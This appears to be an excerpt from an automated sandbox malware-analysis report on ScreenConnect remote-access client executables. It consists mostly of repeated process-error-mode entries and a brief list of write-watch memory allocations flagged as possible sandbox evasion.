Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 1BCA29D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 1BCBC550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Memory allocated: A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Memory allocated: 1A560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Memory allocated: 2EF0000 memory reserve \| memory write watch	Jump to behavior
